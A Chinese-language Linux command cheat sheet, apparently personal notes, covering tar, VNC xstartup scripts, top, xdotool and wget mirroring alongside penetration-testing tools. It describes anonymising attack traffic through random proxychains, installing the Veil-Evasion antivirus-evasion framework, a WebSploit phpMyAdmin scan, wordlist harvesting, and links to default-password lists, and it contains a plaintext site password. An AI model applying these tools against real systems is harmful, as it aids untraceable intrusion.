-rwxrwxrwx jessie/jessie 558556 2022-02-19.png
===============================================

# 解压
$ tar xfv xxx.tar.xz
===============================================
2022-02-18.png
2022-02-19.png
===============================================

# 压缩
$ tar cf xxx.tar [files]

# tar.xz:
压缩
tar czvf out.tar [files]
xz -z out.tar
解压
xz -d out.tar.xz
tar xzvf out.tar

## 帮助菜单
用法: tar [选项...] [FILE]...
GNU 'tar' saves many files together into a single tape or disk archive, and can
restore individual files from the archive.

Examples:
tar -cf archive.tar foo bar # Create archive.tar from files foo and bar.
tar -tvf archive.tar # List all files in archive.tar verbosely.
tar -xf archive.tar # Extract all files from archive.tar.

主操作模式:
-A, --catenate, --concatenate 追加 tar 文件至归档
-c, --create 创建一个新归档
--delete 从归档(非磁带!)中删除
-d, --diff, --compare 找出归档和文件系统的差异
-r, --append 追加文件至归档结尾
--test-label 测试归档卷标并退出
-t, --list 列出归档内容
-u, --update 仅追加比归档中副本更新的文件
-x, --extract, --get 从归档中解出文件

操作修饰符:

--check-device 当创建增量归档时检查设备号(默认)
-g, --listed-incremental=FILE 处理新式的 GNU 格式的增量备份
-G, --incremental 处理老式的 GNU 格式的增量备份
--hole-detection=TYPE 用于探测holes 的技术
--ignore-failed-read
当遇上不可读文件时不要以非零值退出
--level=NUMBER 所创建的增量列表归档的输出级别
--no-check-device 当创建增量归档时不要检查设备号
--no-seek 归档不可检索
-n, --seek 归档可检索
--occurrence[=NUMBER] 仅处理归档中每个文件的第 NUMBER
个事件;仅当与以下子命令 --delete,
--diff, --extract 或是 --list
中的一个联合使用时,此选项才有效。而且不管文件列表是以命令行形式给出或是通过
-T 选项指定的;NUMBER 值默认为 1
--sparse-version=MAJOR[.MINOR]
设置所用的离散格式版本(隐含
--sparse)
-S, --sparse 高效处理离散文件

本地文件名选择:
--add-file=FILE 添加指定的 FILE 至归档(如果名字以 -
开始会很有用的)
-C, --directory=DIR 改变至目录 DIR
--exclude=PATTERN 排除以 PATTERN 指定的文件
--exclude-backups 排除备份和锁文件
--exclude-caches 除标识文件本身外,排除包含
CACHEDIR.TAG 的目录中的内容
--exclude-caches-all 排除包含 CACHEDIR.TAG 的目录
--exclude-caches-under 排除包含 CACHEDIR.TAG
的目录中所有内容
--exclude-ignore=FILE 若存在FILE,
则从其中读取每个目录的例外匹配项
--exclude-ignore-recursive=FILE
若存在FILE,
则从其中为每个目录及其子目录读取需要排除的例外匹配项
--exclude-tag=FILE 除 FILE 自身外,排除包含 FILE
的目录中的内容
--exclude-tag-all=FILE 排除包含 FILE 的目录
--exclude-tag-under=FILE 排除包含 FILE 的目录中的所有内容
--exclude-vcs 排除版本控制系统目录
--exclude-vcs-ignores 从VCS 忽略文件中读取排除匹配项
--no-null 禁用上一次的效果 --null 选项
--no-recursion 避免目录中的自动降级
--no-unquote 不要unquote 输入文件或成员名称
--no-verbatim-files-from -T
把以‘-’开始的文件作为选项(默认)
--null -T 读取以空终止的名字; 隐含
--verbatim-files-from
--recursion 目录递归(默认)
-T, --files-from=FILE 从 FILE
中获取文件名来解压或创建文件
--unquote unquote 输入文件或成员名称(默认)
--verbatim-files-from -T
逐字读取文件名(不处理选项或进行转义)
-X, --exclude-from=FILE 排除 FILE 中列出的模式串

文件名匹配选项(同时影响排除和包括模式串):

--anchored 模式串匹配文件名头部
--ignore-case 忽略大小写
--no-anchored 模式串匹配任意‘/’后字符(对
exclusion 为默认值)
--no-ignore-case 匹配大小写(默认)
--no-wildcards 逐字匹配字符串
--no-wildcards-match-slash 通配符不匹配‘/’
--wildcards 使用通配符(对 exclusion 为默认值)
--wildcards-match-slash 通配符匹配‘/’(对 exclusion
为默认值)

重写控制:

--keep-directory-symlink 解压时保留已存在的目录符号链接
--keep-newer-files
不要替换比归档中副本更新的已存在的文件
-k, --keep-old-files 解压时不替换存在的文件,
而将其认为是错误
--no-overwrite-dir 保留已存在目录的元数据
--one-top-level[=DIR] 创建子目录以避免解压松散文件
--overwrite 解压时重写存在的文件
--overwrite-dir
解压时重写已存在目录的元数据(默认)
--recursive-unlink 解压目录之前先清除目录层次
--remove-files 在添加文件至归档后删除它们
--skip-old-files
解压时不替换存在的文件,而是自动忽略
-U, --unlink-first 在解压要重写的文件之前先删除它们
-W, --verify 在写入以后尝试校验归档

选择输出流:

--ignore-command-error 忽略子进程的退出代码
--no-ignore-command-error
将子进程的非零退出代码认为发生错误
-O, --to-stdout 解压文件至标准输出
--to-command=COMMAND
将解压的文件通过管道传送至另一个程序

操作文件属性:

--atime-preserve[=METHOD]
在输出的文件上保留访问时间,要么通过在读取(默认
METHOD=‘replace’)后还原时间,要不就不要在第一次(METHOD=‘system’)设置时间
--clamp-mtime 当文件比 --mtime
指定的文件更新时仅更新时间
--delay-directory-restore
直到解压结束才设置修改时间和所解目录的权限
--group=名称 强制将 NAME
作为所添加的文件的组所有者
--group-map=FILE 用FILE 映射文件所有者GIDs 和名字
--mode=CHANGES 强制将所添加的文件(符号)更改为权限
CHANGES
--mtime=DATE-OR-FILE 从 DATE-OR-FILE 中为添加的文件设置
mtime
-m, --touch 不要解压文件的修改时间
--no-delay-directory-restore
取消 --delay-directory-restore 选项的效果
--no-same-owner
将文件解压为您所有(普通用户默认此项)
--no-same-permissions
从归档中解压权限时使用用户的掩码位(默认为普通用户服务)
--numeric-owner 总是以数字代表用户/组的名称
--owner=名称 强制将 NAME
作为所添加的文件的所有者
--owner-map=FILE 用FILE 映射文件所有者UIDs 和名字
-p, --preserve-permissions, --same-permissions
解压文件权限信息(默认只为超级用户服务)
--same-owner
尝试解压时保持所有者关系一致(超级用户默认此项)
--sort=ORDER 目录排序顺序: none(默认), name 或inode
-s, --preserve-order, --same-order
成员参数按归档中的文件顺序列出

操作extended 文件属性:

--acls 开启 POSIX ACLs 支持
--no-acls 关闭 POSIX ACLs 支持
--no-selinux 关闭 SELinux 上下文支持
--no-xattrs 关闭extended 属性支持
--selinux 开启 SELinux 上下文支持
--xattrs 开启extended 属性支持
--xattrs-exclude=MASK 为xattr 关键字指定排除匹配项
--xattrs-include=MASK 为xattr 关键字指定包含匹配项

设备选择和切换:

--force-local
即使归档文件存在副本还是把它认为是本地归档
-f, --file=ARCHIVE 使用归档文件或 ARCHIVE 设备
-F, --info-script=名称, --new-volume-script=名称
在每卷磁带最后运行脚本(隐含 -M)
-L, --tape-length=NUMBER 写入 NUMBER × 1024 字节后更换磁带
-M, --multi-volume 创建/列出/解压多卷归档文件
--rmt-command=COMMAND 使用指定的 rmt COMMAND 代替 rmt
--rsh-command=COMMAND 使用远程 COMMAND 代替 rsh
--volno-file=FILE 使用/更新 FILE 中的卷数

设备分块:

-b, --blocking-factor=BLOCKS 每个记录 BLOCKS x 512 字节
-B, --read-full-records 读取时重新分块(只对 4.2BSD 管道有效)
-i, --ignore-zeros 忽略归档中的零字节块(即文件结尾)
--record-size=NUMBER 每个记录的字节数 NUMBER,乘以 512

选择归档格式:

-H, --format=FORMAT 创建指定格式的归档

FORMAT 是以下格式中的一种:
gnu GNU tar 1.13.x 格式
oldgnu GNU 格式,其中 tar 版本 <= 1.12
pax POSIX 1003.1-2001 (pax) 格式
posix 等同于 pax
ustar POSIX 1003.1-1988 (ustar) 格式
v7 旧的 V7 tar 格式

--old-archive, --portability
等同于 --format=v7
--pax-option=关键字[[:]=值][,关键字[[:]=值]]...
控制 pax 关键字
--posix 等同于 --format=posix
-V, --label=TEXT 创建带有卷名 TEXT
的归档;在列出/解压时,使用 TEXT
作为卷名的模式串

压缩选项:

-a, --auto-compress 使用归档后缀名来决定压缩程序
-I, --use-compress-program=PROG
通过 PROG 过滤(必须是能接受 -d
选项的程序)
-j, --bzip2 通过 bzip2 过滤归档
-J, --xz 通过 xz 过滤归档
--lzip 通过 lzip 过滤归档
--lzma 通过 xz 过滤归档
--lzop 通过 lzop 过滤归档
--no-auto-compress 不使用归档后缀名来决定压缩程序
--zstd 通过 zstd 过滤归档
-z, --gzip, --gunzip, --ungzip 通过 gzip 过滤归档
-Z, --compress, --uncompress 通过 compress 过滤归档

本地文件选择:

--backup[=CONTROL] 在删除前备份,选择 CONTROL 版本
--hard-dereference
跟踪硬链接;将它们所指向的文件归档并输出
-h, --dereference
跟踪符号链接;将它们所指向的文件归档并输出
-K, --starting-file=MEMBER-NAME
从归档中的 MEMBER-NAME
成员处开始读取归档
--newer-mtime=DATE 当只有数据改变时比较数据和时间
-N, --newer=DATE-OR-FILE, --after-date=DATE-OR-FILE
只保存比 DATE-OR-FILE 更新的文件
--one-file-system 创建归档时保存在本地文件系统中
-P, --absolute-names 不要从文件名中清除引导符‘/’
--suffix=STRING 在删除前备份,除非被环境变量
SIMPLE_BACKUP_SUFFIX
覆盖,否则覆盖常用后缀(‘’)

文件名变换:

--strip-components=NUMBER 解压时从文件名中清除 NUMBER
个引导部分
--transform=EXPRESSION, --xform=EXPRESSION
使用 sed 代替 EXPRESSION
来进行文件名变换

提示性输出:

--checkpoint[=NUMBER] 每隔 NUMBER
个记录显示进度信息(默认为 10 个)
--checkpoint-action=ACTION 在每个检查点上执行 ACTION
--full-time 按文件原本时间格式打印
--index-file=FILE 将详细输出发送至 FILE
-l, --check-links
只要不是所有链接都被输出就打印信息
--no-quote-chars=STRING 禁用来自 STRING 的字符引用
--quote-chars=STRING 来自 STRING 的额外的引用字符
--quoting-style=STYLE 设置名称引用风格;有效的 STYLE
值请参阅以下说明
-R, --block-number 每个信息都显示归档内的块数
--show-defaults 显示 tar 默认选项
--show-omitted-dirs
列表或解压时,列出每个不匹配查找标准的目录
--show-snapshot-field-ranges
显示快照文件区的有效范围
--show-transformed-names, --show-stored-names
显示变换后的文件名或归档名
--totals[=SIGNAL] 处理归档后打印出总字节数;当此
SIGNAL 被触发时带参数 -
打印总字节数;允许的信号为:
SIGHUP,SIGQUIT,SIGINT,SIGUSR1 和
SIGUSR2;同时也接受不带 SIG
前缀的信号名称
--utc 以 UTC 格式打印文件修改时间
-v, --verbose 详细地列出处理的文件
--warning=KEYWORD 警告控制
-w, --interactive, --confirmation
每次操作都要求确认

兼容性选项:

-o 创建归档时,相当于
--old-archive;展开归档时,相当于
--no-same-owner

其它选项:

-?, --help 显示此帮助列表
--restrict 禁用某些潜在的有危险的选项
--usage 显示简短的用法说明
--version 打印程序版本

长选项和相应短选项具有相同的强制参数或可选参数。

The backup suffix is '~', unless set with --suffix or SIMPLE_BACKUP_SUFFIX.
The version control may be set with --backup or VERSION_CONTROL, values are:

none, off never make backups
t, numbered make numbered backups
nil, existing numbered if numbered backups exist, simple otherwise
never, simple always make simple backups

--quoting-style 选项的有效参数为:

literal
shell
shell-always
shell-escape
shell-escape-always
c
c-maybe
escape
locale
clocale

此 tar 默认为:
--format=gnu -f- -b20 --quoting-style=escape --rmt-command=/usr/sbin/rmt
--rsh-command=/usr/bin/rsh

TightVNC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
解决GNOME应用不显示在:2但显示在:0的问题:
GNOME 应用程序(例如 gnome-terminal)通常依赖 D-Bus 进行系统与应用之间的通信。D-Bus 是一种消息总线系统,允许系统组件相互交互。

TightVNC 环境中的 gnome-terminal 可能无法找到会话管理器或没有 D-Bus 环境,从而导致无法启动或行为异常。
通过在 xstartup 中启动 dbus-launch,您为 GNOME 应用程序提供了所需的 D-Bus 会话环境,从而使它们能够正常运行。

2. --disable-factory 禁用了 GNOME 工厂模式

gnome-terminal 使用的 工厂模式 是为了确保所有终端实例在同一会话中运行。然而,在 VNC 这样的非标准桌面环境中,它可能找不到正确的会话来注册。

通过使用 --disable-factory 选项,您禁用了这种默认行为,允许 gnome-terminal 独立运行而不依赖 GNOME 会话管理器。

为什么其他应用程序没有问题?

XFCE 终端 和其他轻量级应用程序通常不依赖复杂的会话管理或 D-Bus 环境,因此它们在 VNC 会话中可以正常运行。GNOME 应用程序由于设计上依赖 GNOME 桌面环境的某些服务,可能在这种简化的 VNC 环境中遇到问题。

如果系统上已经有 D-Bus 正在运行,并且您在正常的 GNOME 桌面环境下启动应用程序,那么通常不需要再次启动 D-Bus 守护进程。然而,在 VNC 环境中,特别是像 TightVNC 这样的轻量级配置,可能需要手动启动 D-Bus,以确保应用程序能够找到所需的 D-Bus 会话。
这里是一些情况:

标准桌面环境:
如果您在标准的 GNOME 桌面环境中工作(如直接在本地机器上登录),系统会自动启动 D-Bus 守护进程,所有的 GNOME 应用程序可以直接访问。

VNC 环境:
在 VNC 环境中,尤其是在没有完整桌面环境的情况下,D-Bus 可能没有自动启动。因此,通过在 xstartup 文件中添加 eval $(dbus-launch --sh-syntax) 来确保 D-Bus 会话可用是一个好的做法。

具体情况分析:

如果您确认 D-Bus 已经在 VNC 环境中运行:
您可以注释掉或移除启动 D-Bus 的那一行。如果应用程序运行正常,则表示它们能够访问现有的 D-Bus 服务。
如果您在 VNC 会话中遇到问题:
再次尝试添加 dbus-launch 的启动行,以确保任何依赖 D-Bus 的应用程序都能正常工作。

如果 :0 显示器上已经有 GNOME 正在运行,并且 D-Bus 守护进程在 :0 上启动,那么在 :2 显示器上不一定需要再次启动 D-Bus。这是因为:

D-Bus 守护进程的作用范围:
D-Bus 守护进程通常在用户登录的会话中启动,并为该会话的所有应用程序提供服务。如果 :0 上的 D-Bus 守护进程正在运行,那么其他会话(如 :2)可以通过 D-Bus 通信。
但是,不同的 VNC 会话(例如 :0 和 :2)通常是隔离的,意味着它们可能无法直接共享同一个 D-Bus 会话。

在 VNC 环境中的应用行为:
如果您希望在 :2 显示器上运行 GNOME 应用程序且希望它们能够正常通信,通常建议在 :2 中也启动 D-Bus。
如果您确定 :2 显示器能够访问 :0 上的 D-Bus(通常不推荐,因为这涉及到权限和会话管理),那么可以选择不启动 D-Bus。

结论:

启动 D-Bus:在 :2 上,您最好保留启动 D-Bus 的代码,以确保 GNOME 应用程序能够正常工作,尤其是当它们依赖于 D-Bus 进行内部通信时。
确保环境一致性:保持 :2 的环境与 :0 一致是个好主意,尤其是在 VNC 会话之间可能存在不同的环境变量和资源可用性。

VNCxstart示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/sh

# 设置 DISPLAY 环境变量为 :2
export DISPLAY=:2

# 确保fcitx运行
export GTK_IM_MODULE=fcitx
export QT_IM_MODULE=fcitx
export XMODIFIERS=@im=fcitx

# 启用 VNC 配置(用于剪贴板等功能)
vncconfig -iconic &

# 设置背景颜色
xsetroot -solid grey

# 检查 D-Bus 是否正在运行
if pgrep -x "dbus-daemon" > /dev/null; then
echo "D-Bus is already running."
else
echo "Starting D-Bus..."
eval $(dbus-launch --sh-syntax)
fi

# 启动 GNOME 终端
gnome-terminal --disable-factory &

# 清除会话管理器和 D-Bus 地址
unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS

# 启动 Fluxbox 窗口管理器
startfluxbox &

其他参考:

1
2
3
4
5
https://uuzdaisuki.com/2020/11/09/%E5%B8%B8%E8%A7%81web%E7%B3%BB%E7%BB%9F%E9%BB%98%E8%AE%A4%E5%8F%A3%E4%BB%A4%E6%80%BB%E7%BB%93/
https://cloud.tencent.com/developer/article/1957871
http://www.luckysec.cn/posts/562916c6.html
https://github.com/BaizeSec/bylibrary/blob/main/docs/%E9%80%9F%E6%9F%A5%E8%A1%A8/%E5%B8%B8%E8%A7%81%E4%BA%A7%E5%93%81%E5%BC%B1%E5%8F%A3%E4%BB%A4.md
https://www.cnblogs.com/victoryhan/p/15864154.html
VNC疑难杂症解决
  1. GNOME不工作

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    试试?
    # Fix to make GNOME work
    export XKL_XMODMAP_DISABLE=1
    unset SESSION_MANAGER
    unset DBUS_SESSION_BUS_ADDRESS

    或者
    #!/bin/sh
    # https://askubuntu.com/questions/1285420/how-to-properly-configure-xstartup-file-for-tightvnc-with-ubuntu-20-04-lts-gnome

    [ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
    [ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
    xsetroot -solid grey
    vncconfig -iconic &
    x-terminal-emulator -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &

    export XDG_CURRENT_DESKTOP="GNOME-Flashback:GNOME"
    export XDG_MENU_PREFIX="gnome-flashback-"
    gnome-session --session=gnome-flashback-metacity --disable-acceleration-check &

    或者
    # https://askubuntu.com/questions/694795/how-to-start-vnc-session-with-gnome-desktop
    wm
    #!/bin/sh
    export XKL_XMODMAP_DISABLE=1
    unset SESSION_MANAGER
    unset DBUS_SESSION_BUS_ADDRESS
    [ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
    [ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
    xsetroot -solid grey
    vncconfig -iconic &
    gnome-panel &
    gnome-settings-daemon &
    metacity &
    nautilus &
    gnome-terminal &

    或者
    #!/bin/sh
    [ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
    [ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
    vncconfig -iconic &
    dbus-launch --exit-with-session gnome-session &

Top

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
top的使用:
P/M/T/N:按CPU占用、内存、CPU时间、进程ID来排序,注意是大写!
k+进程ID来结束进程;r+进程ID来改变优先级

Z,B,E,e Global: 'Z' colors; 'B' bold; 'E'/'e' summary/task memory scale
l,t,m Toggle Summary: 'l' load avg; 't' task/cpu stats; 'm' memory info
0,1,2,3,I Toggle: '0' zeros; '1/2/3' cpus or numa node views; 'I' Irix mode
f,F,X Fields: 'f'/'F' add/remove/order/sort; 'X' increase fixed-width

L,&,<,> . Locate: 'L'/'&' find/again; Move sort column: '<'/'>' left/right
R,H,V,J . Toggle: 'R' Sort; 'H' Threads; 'V' Forest view; 'J' Num justify
c,i,S,j . Toggle: 'c' Cmd name/line; 'i' Idle; 'S' Time; 'j' Str justify
x,y . Toggle highlights: 'x' sort field; 'y' running tasks
z,b . Toggle: 'z' color/mono; 'b' bold/reverse (only if 'x' or 'y')
u,U,o,O . Filter by: 'u'/'U' effective/any user; 'o'/'O' other criteria
n,#,^O . Set: 'n'/'#' max tasks displayed; Show: Ctrl+'O' other filter(s)
C,... . Toggle scroll coordinates msg for: up,down,left,right,home,end

k,r Manipulate tasks: 'k' kill; 'r' renice
d or s Set update interval
W,Y Write configuration file 'W'; Inspect other output 'Y'
q Quit
( commands shown with '.' require a visible task display window )
Press 'h' or '?' for help with Windows,
Type 'q' or <Esc> to continue

Tor代理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#Tor代理的使用:
apt-get update
apt-get upgrade
apt-get install tor
然后编辑/etc/proxychains.conf文件,禁用strict_chains,启用dynamic_chains。
接下来编辑[ProxyList],寻找本地的开放代理,sock4 127.0.0.1 9050 sock5 127.0.0.1 9050
service tor start
Firefox www.whatismyip.com
proxychains firefox www.whatismyip.com
访问https://check.torproject.org验证Tor是否正常
*注意事项:
虽然通信使用Tor网络现在受到保护,但当你的系统使用DNS请求提供你的身份到ISP时,DNS可能发生泄露。你可以检查DNS泄露:https://www.dnsleaktest.com/
大多数命令行可以在使用proxychains访问Tor网络的控制平台上运行。在使用Tor时,牢记如下注意事项:
1、Tor提供匿名服务,但他不能保证隐私。出口节点的业主都能够嗅出流量,也可能会访问用户的凭据。
2.在Tor浏览器套件中的漏洞,据称被执法部门用于探测系统并获取用户信息。
3、ProxyChains不处理UDP流量。
4、某些应用程序和服务无法在这样的环境下运行,实际上,Metasploit和nmap可能不能运行,nmap的SYN隐身扫描被ProxyChains终止,且连接扫描被调用时;这可能会泄露信息。
5、某些浏览器的应用程序如ActiveX,PDF,Flash,Java,RealPlay和QuickTime,可能用于获取你的IP地址。
6、攻击者也可以使用随机链接。使用此选项,ProxyChains,将从我们的列表中随机选择IP地址并用它们来创建ProxyChains。这意味着每次使用ProxyXhains时,代理链将看起来与目标不同,从而更难从源头跟踪流量。
7、为此,以类似的方式编辑/etc/proxychains.conf文件,将dynamic chains改为注释,取消random chains注释,因为我们一次只能使用一个选项。
8、此外,攻击者可以使用chains_len取消注释行,然后再创建一个随机代理链时确定链中的IP地址数。
这项技术可以让攻击者在网上保持匿名。

Traceroute

1
tracerouteIP address】

Twofi——从推特用户主页提取关键词

1
twofi -m 6 -u @PacktPub > packtpub_wordlist.txt

Veil-Evasion

1
2
apt-get install veil-evasion
/usr/share/veil/config/setup.sh

WebSploit

1
2
# websploit执行web扫描,识别phpmyadmin:
websploit use web/pma

Wget

1
2
3
4
5
6
7
8
9
10
11
12
13
wget -m -p -E -k -K -np -v http://www.baidu.com
m:镜像,选择该选项适用于Web站点
p页面获先决条件,该选项确保 包含了请求的 图片和css脚本文件被下载(这样可以更好的复制 html5的站点)
E:适用扩展,这可以在本地另存为一个html文件
k:转换链接,确保文件被转换,用于本地浏览
K:转换备份文件,将会以orig为后缀作为原始文件

Mirror Web Site(s) with Wizar
克隆网页还可见httrack

# 使用Wget下载ftp网页上的某些文件
http://www.bio-info-trainee.com/1039.html
wget -c -r -np -k -L -p -A.pdf --http-user=CS374-2011 --http-passwd=AlgorithmsInBiology http://ai.stanford.edu/~serafim/CS374_2011/papers/

Wodim——命令行光盘刻录

1
2
3
# wodim --devices
# wodim dev=/dev/scXX -v systemrescuecd-x.y.z.iso
# wodim dev=/dev/sr0 speed=8 -v systemrescuecd-x.y.z.iso

Xdotool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
Xdotool的使用
鼠标操作

xdotool支持很多鼠标操作,包括鼠标的移动,左击,右击,滚轮等

鼠标移动到x,y处: xdotool mousemove x y
鼠标点击右键: xdotool click 3
鼠标向上翻滚: xdotool click 4
获取鼠标位置: xdotool getmouselocation


键盘操作

xdotool支持很多键盘操作,常用的使用如下:

按下p键: xdotool key p
按下ctrl+shift+t键: xdotool key ctrl+shift+t
按下p键持续1000ms: xdotool key –delay 1000 p


窗口操作

xdotool支持很多窗口操作,包括窗口的移动,最小化等等

查询主文件夹窗口id: xdotool search –name “主文件夹”
聚焦到id为WID的窗口: xdotool windowfocus WID
移动id为WID的窗口左上角到x,y处: xdotool windowmove WID x y
改变id为WID的窗口大小为w,h: xdotool windowsize WID w h
最小化id为WID的窗口: xdotool windowminimize WID


让Xdotool在Linux定居

对于Ubuntu,Debian或者Linux Mint,你能够只做:
1
$ sudo apt-get install xdotool

对于Fedora,请使用yum命令:
1
$ sudo yum install xdotool

对于CentOS用户,可以在EPEL repo中找到该包。在启用EPEL仓库后,只要使用上面的yum命令就可以达成你的愿望。

对于Arch用户,可在Community仓库中找到该包:
1
$ sudo pacman -S xdotool

如果你还是找不到你的发行版的对应xdotool,你可以从它的官方站点下载。
起步

下面通过一个简单的例子来测试 xdotool 的功能。首先打开图形界面下的终端模拟器,将鼠标移到某个菜单之上,但是不要点击。这时输入焦点应该还在命令行窗口,鼠标位置不动,输入下面的命令:
1
xdotool click 1

执行这条命灵之后,会发现鼠标悬停处的菜单神奇地打开了,就好像在那里点了左键一样。对 X11 来说,点击鼠标只是一个事件,它并不管这个事件来自鼠标、触摸板、触摸屏还是其他设备,或者是类似 xdotool 这样的软件。

上面的命令中,click 表示动作,1 表示鼠标左键,合法的取值有:
编号 含义
1 鼠标左键
2 鼠标中键
3 鼠标右键
4 滚轮向前
5 滚轮向后

下面考虑复杂一些的情况,如果用 xdotool 来完成自动化,那么需要移动指针到指定的地方。X 桌面坐标系原点位于左上角,x 轴正方向向右,y 轴正方向向下,以像素为单位。例如,本人屏幕分辨率为 1920×1080,那么左上角的坐标为 (0, 0),右上角的坐标为 (1920, 0)。

假设现在需要平铺所有的窗口(我用的是 GNOME 桌面),那么需要将鼠标移到屏幕左上角点击 “Activities” 按钮。使用 xdotool 可以这样实现:
1
xdotool mousemove 0 0 click 1

xdotool 支持多个命令连在一起,上面的例子中,首先将鼠标移到屏幕左上角,然后点击鼠标左键。

mousemove 指令将鼠标位置移动到指定处,mousemove_relative 以鼠标当前位置为初始,移动相应的距离。这两条指令经常带上 --sync 参数,表示一定要等到 X11 确认鼠标已经移动到了目标位置,才会继续执行。

需要注意的是,如果坐标包含负值,必须在坐标前加上两个减号。例如命令
1
xdotool mousemove_relative -10 -10

是不能正确执行的,应该使用这种方式:
1
xdotool mousemove_relative -- -10 -10


Xdotool基本功

虽然xdotool是那样的直观,但它仍然是个脚本程序。因此,为了要正确地使用它,你还是得了解它的语法。不过敬请放心,相对于程序的功能而言,语法还是比较简单易学的。

首先,模拟击键是很容易的。你可以从终端敲入下面的命令:
1
$ xdotool key [name of the key]

如果你想要连接两个键,可以在它们之间使用“+”操作符。它看起来像这样:
1
$ xdotool key alt+Tab

这两个组合键可以为你切换窗口。

要想让xdotool帮你输入,可以使用以下命令:
1
$ xdotool type ''

这些对于基本的击键而言已经足够了。但是,xdotool的众多长处之一,就是它可以获取特定窗口的焦点。它可以获取右边的窗口,然后在里面输入,所有你记录下的按键都不会人间蒸发,而是老老实实的如你所愿的出现在那里。要获得该功能,一个简单的命令可以搞定:
1
$ xdotool search --name [name of the window] key [keys to press]

该命令将在打开的窗口中搜索对应名称的窗口,并聚焦于该窗口,然后模拟击键。

来点更高级的,但很有用哦,xdotool可以模拟鼠标移动和点击,看这命令:
1
$ xdotool mousemove x y

你可以将光标定位到屏幕坐标(x,y)(像素)。你也可以使用“click”参数来组合:
1
$ xdotool mousemove x y click 1

这会让鼠标移动到(x,y),然后点击鼠标左键。“1”代表鼠标左键,“2”则是滚轮,“3”则是右键。

最后,一旦你这些命令根植于你脑海,你也许想要实际转储于文件来编辑并试着玩玩。鉴于此,就会有超过一个语句以上的内容了。你需要的就是写一个bash脚本了:
1
#!/bin/bash
2

3
xdotool [command 1]
4
xdotool [command 2]
5
etc

或者你可以使用:
1
$ xdotool [filename]

这里你将命令写入到一个独立的文件中,然后通过将文件名作为xdotool命令的参数。

对于文本流的输入,xdotool 提供了一个 type 命令:
1
xdotool search "gedit" windowactivate --sync type "hello world"

拖拽动作可以分解为“按下鼠标-移动鼠标-释放鼠标”的步骤,下面的代码是一个简单的例子:
1
xdotool mousedown 1
2
sleep 0.5
3
xdotool mousemove_relative --sync 200 200
4
sleep 0.5
5
xdotool mouseup 1
意外收获

xdotool 最强大的一个功能,就是能够自动搜索窗口,确定该窗口的位置,并使用窗口的局部坐标。例如,寻找 Chrome 浏览器并激活其窗口,可以通过下面的命令实现:
1
xdotool search "Chrome" windowactivate

这个功能需要窗口管理器的支持,xdotool 会遍历所有窗口,一旦发现标题栏内容包含指定的关键词,就返回该窗口。如果没有符合规则的窗口,那么什么也不会发生。

这里需要指出的是,窗口的标题栏内容和程序名称没有必然的关系。xdotool 根据标题栏内容查找窗口,而非应用程序的名字。

找到了目标窗口,还不能立刻对窗口中的按钮进行操作,因为窗口可能为于屏幕的任何位置。不过,我们可以将鼠标移动到窗口的左上角:
1
xdotool search "Chrome" windowactivate --sync mousemove --window %1 0 0

--window X 表示后面的坐标是相对窗口 X 而言的,%1 表示 search 操作返回的第一个窗口。

